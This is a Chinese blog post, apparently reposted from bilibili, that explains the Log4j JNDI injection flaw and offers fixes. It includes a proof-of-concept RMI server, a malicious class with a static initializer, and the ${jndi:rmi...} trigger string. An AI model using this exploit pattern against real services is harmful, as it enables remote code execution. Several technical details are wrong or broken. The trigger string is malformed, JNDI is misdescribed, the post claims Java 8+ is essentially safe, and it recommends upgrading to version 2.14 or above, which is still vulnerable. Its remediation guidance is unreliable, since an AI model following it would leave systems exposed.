Log4j 远控JNDI漏洞: 原理?如何解决?

什么是 log4j ?

log4j 是 Java 的一款优秀日志框架,目前是 Java 行业内产品的标配,几乎每个 Java 服务都使用了 log4j。简单来说就是打印和存储服务器运行时产生的报告和报错等。

哪里来的漏洞?

log4j 内提供了一些占位符替换机制,如以下代码

logger.info("os: ${java:os}"); 

输出的结果是 “os: Windows 10” (具体输出会更复杂,在这里简略了) 而不是 “os: ${java:os}”。也就是把 ${java:os} 替换成了 System.getProperties(“os”) 也就是 “Windows 10”。这个很好理解,但离谱的是 log4j 还提供了关于 jndi 的占位符。

logger.info("${jndi:rmi//127.0.0.1:1099/heike}")

jndi 是什么?说简单的就是几个 Java 程序互相交换信息的一种技术,因为这些 Java 程序都在同一个 JVM 虚拟机上运行。而 jndi 交换信息有很多种格式,上文代码中的 “rmi” 就是其中之一,你可以将它理解为 http 地址。总而言之,就是可以使两个 Java 程序互相搞小动作的东西。

 言归正传,当你执行上文代码时,log4j会自动加载通过 jndi 从远程服务器获取的 java 对象。远程服务器的地址即 "rmi//127.0.0.1:1099",而提供的对象则是 "heike","heike" 一般是一个Java Class。也就是说,只要你的日志里面包含 "${jndi:rmi//127.0.0.1:1099/heike}" 这一段信息,你就可能会被黑客入侵,是不是有点 sql 注入的味道了?例如我的世界也使用了 log4j,他会用 log4j 把其他玩家说的话通过 logger.info(玩家说的话) 记录下来,如果他说了一些可以触发 log4j 占位符机制且不怀好意的话,所有听到这句话的玩家都得中招,运行远程服务器上的 Java 代码。

我这么说可能有点绕了,所以各位资深 Java 玩家可以直接看具体代码。 
public class Log4jServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();
        Reference reference = new Reference("me.faintcloudy.Heike", "me.faintcloudy.Heike", "http://127.0.0.1:1010/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        registry.bind("heike", refObjWrapper);
    }
} 
public class Heike {
  static {
    JOptionPane.showConfirmDialog(null, "你的电脑已经被我入侵了!!!");
  }
} 

以上是黑客服务器上运行的代码。所以只需要你电脑上某个 Java 程序运行以下代码:

String log = "${jndi:rmi//127.0.0.1:1099/heike}";
logger.info(log);

就会出现提示“你的电脑已经被我入侵了!!!”
这仅仅是打开了一个信息框,但实际上黑客可以往 Heike.class 放任何代码,在不经意间使你的电脑报废或所有账号全被偷走。

如何解决?

先不要慌,如果你使用了 Java 8 或以上版本,基本对你没有什么危害。因为在 Java 8 中添加了一个新的属性 com.sun.jndi.rmi.object.trustURLCodebase,这是一个 boolean 类型。默认值是 false,在使用 jndi 时会抛出一个报错阻止加载远程服务器提供的代码。当然最好还是做一下防备,毕竟谁也说不准呢。

 添加 jvm 参数 -Dlog4j2.FORMATMsgNoLookups=true,他的作用是不让 log4j 替换占位符

 创建 "log4j2.component.properties" 文件,文件中加入"log4j2.formatMsgNoLookups=true"

 删除 log4j-core-*.jar 中 org/apache/logging/log4j/core/lookup/JndiLookup.class 这个文件,彻底进行不了 jndi

 更新 log4j 到最新版本 2.14 及以上

 最最最彻底: 断网

原作者 作者:FaintCloudy 地址:https://www.bilibili.com/read/cv14380391 出处:bilibili

你可能感兴趣的:(java,服务器)